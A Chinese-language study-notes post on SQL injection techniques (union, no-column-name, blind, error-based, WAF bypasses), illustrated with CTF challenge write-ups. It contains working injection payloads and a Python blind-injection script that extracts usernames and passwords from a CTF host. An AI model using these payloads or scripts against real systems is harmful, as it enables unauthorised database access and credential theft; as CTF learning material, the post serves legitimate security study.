前言
学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。
从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入
联合查询
即多表之间的查询
联合查询分类
- 内连接(inner Join 或 Join)
- 交叉连接 (cross Join)
- 结果集链接 (union 和 union all
- 外连接(outer Join)
- 左外连接(left outer Join 或 left Join)
- 右外连接(right outer Join 或 right Join)
- 全外连接(full outer Join 或 full Join)
详情查看联合查询,在SQL注入中多用 union
即结果集查询
union各种姿势
常规注入
#判断注入类型 -数字或者字符
#猜测字段数
#获取当前数据库
#获取数据库权限和数据库版本
#获取表名和字段名
sql写入新的密码
[GXYCTF2019]BabySQli
- 登录界面,常规 sql 不管用,emmmmm…
- 提示:
先说说 base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。 - sql 原理:
select * from user where username = \'$name\'
- 知识点:
- 看了 web,学到了联合注入有个技巧,在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据表
payload=name=1\' union select 0,\'admin\',\'81dc9bdb52d04dc20036dbd8313ed055\'%23&pw=1234
- 看了 web,学到了联合注入有个技巧,在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据表
无列名注入
即通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。
创建虚拟表
更改列名
查询第一列数据,如果没有后面的 n
,会报错
[SWPU2019]Web1
知识点:
- 二次注入,特别注意可控的地方
- 无列名注入(information_schema 被过滤,且知道表名的情况)
在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试
无列名注入原理 - waf 关键字绕过方法
- 空格被过滤
空格过滤可以利用/**/代替空格 - 注释符被过滤
将后面的单引号闭合即可 - or 被过滤
这就很难受了,order by、information_schema 都不能用。
于是查表名使用 select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
- 空格被过滤
- 爆库:
1\'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"\'
- 无字段爆值(无列名注入)
payload:1\'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22\'
[GYCTF2020]Ezsqli
考点
- 盲注,or 过滤,可以用
||
或者^
异或注入 - 过滤了 information,union select 组合使用,join,常规列名注入不行
- information 被过滤后,三种替代 information 的关键词
- 无列名注入,新方法
payload = \'0^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))\'.format(hexchar)
详情参考https://www.gem-love.com/ctf/1782.html
ciscn21-web sql
- 考点
- 报错注入
- join 无列名注入,使用
join using
的方法(using相当于on)
\')\'
闭合,报错可用,得到 security 数据库,- 报错要得到表名,information 被过滤,以下可用来爆表
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.schema_auto_increment_columns
sys.x$ps_schema_table_statistics_io
- 也可
mysql.innodb_table_stats (此表中库名字段是 database_name,而非 table_schema)
mysql.innodb_index_stats
- join 无列名注入
mysql> select _ from (select _ from users a join users b)c;#users是表名,
ERROR 1060 (42S21): Duplicate column name \'id\'
mysql> select _ from (select _ from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name \'username\'
mysql> select _ from (select _ from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name \'password\'
本地测试可以爆列名
多参数注入
多参数情况很常见,比如登录框就有两个输入点,有username和passwd,猜测sql语句:select * from user where username=\'username\' and passwd=\'passwd\'
很明显有注入,不过题目总是千变万化,灵活变换。就看看遇到过的题目吧。。。
[NCTF2019]SQLi
- 知识点
- ;%00 截断(php 版本为 5.2.16)
- 过滤了\’,不能闭合,可以使用转义
\
的闭合,应该也可以使用/*----*/
注释符吧
- 太狂了,给了查询语句
- 由于单引号被禁用,使用 \ 转义 and 前面的那个单引号,使得
\' and passwd=\'
形成闭合
构造 passwd 处为||/*1*/passwd/*2*/regexp/*3*/"^a";%00
- 用 regexp 查询 passwd ^匹配字符串开头 %00 截断后面的内容
- payload:
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
本地测试也可
[CISCN2019 总决赛 Day2 Web1]Easyweb
- 知识点
- 备份文件得到源码
\00
绕过 addslashes()函数,通过\
让单引号逃逸出来,path 变量实现盲注- 文件上传,短标签
- 登录界面,已经很眼熟了
- 读备份文件,robots.txt–>image.php.bak–>下载成功
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\\'","\'"),"",$id);
$path=str_replace(array("\\0","%00","\\\'","\'"),"",$path);
$result=mysqli_query($con,"select * from images where id=\'{$id}\' or path=\'{$path}\'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
- 这里要注意:array 数组中的元素是:
\0``%00``\\'``\'
,这里的第一个\
是用来转义的。。。。大意了。。 - 重要查询语句:
$result=mysqli_query($con,"select * from images where id=\'{$id}\' or path=\'{$path}\'");
这个时候其实是没有任何过滤的,试想这是我们 id=\0,则在 addslashes 后变为 id=\0,随后将\0 其清空,那么这是 id=\,正好可以使单引号逃逸出来,变成:
$result=mysqli_query($con,"select * from images where id=\' \\' or path=\' {$path}\'");
可以看到现在 id 的值为\\' or path=
,可以进行 path 的盲注了
#!/usr/local/bin/python3
# coding=utf-8
import requests
url = "http://1b3b2f24-e910-4ad0-8474-330a97842901.node3.buuoj.cn/image.php"
flag = ""
for i in range(0, 100):
high = 127
low = 32
mid = (high + low) // 2
while low < high:
# payload = " or id=if(ascii(substr((database()),{},1))>mid,1,0)#".format(i,mid)
# payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,4)#".format(i, mid)
# payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{},1,4)#".format(i, mid)
payload = "or id=if(ascii(substr((select group_concat(username,password) from users),{},1))>{},1,4)#".format(
i, mid
)
params = {"id": "\\0", "path": payload}
response = requests.get(url, params=params)
if len(response.text) > 10000:
low = mid + 1
else:
high = mid
mid = (high + low) // 2
flag += chr(int(mid))
print(flag)
- 成功登录,进入上传文件区域
布尔盲注(兼时间盲注)
即根据注入信息返回true or fales,通常是两种不同的页面回显,没有任何报错信息,如果没有回显,则可以考虑使用时间注入
布尔常用函数
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
regexp: 正则表达式
报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
常规注入
常用函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
#extractvalue() 函数不支持低版本 mysql
#extractvalue() 函数最多查询32位
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
其中floor()
语句报错,是利⽤floor()
,count()
,group() by
冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。
extractvalue
注⼊的原理:依旧如同updatexml
⼀样,extract
的第⼆个参数要求是xpath
格式字符串,⽽我们输⼊的并不是。所以报错。
0x7e="~"
\'~\'可以换成\'#\'、\'$\'等不满足xpath格式的字符
整数溢出报错
两种方法,exp函数,上限是exp(709),再加一就会溢出浮点数上界报错,
还有一种是学长的~0+1
,对0取反直接拿到最大整数
假设查询语句 (select*from(select user())x)
,查询正确,取反之后就是1,可以和替换上面的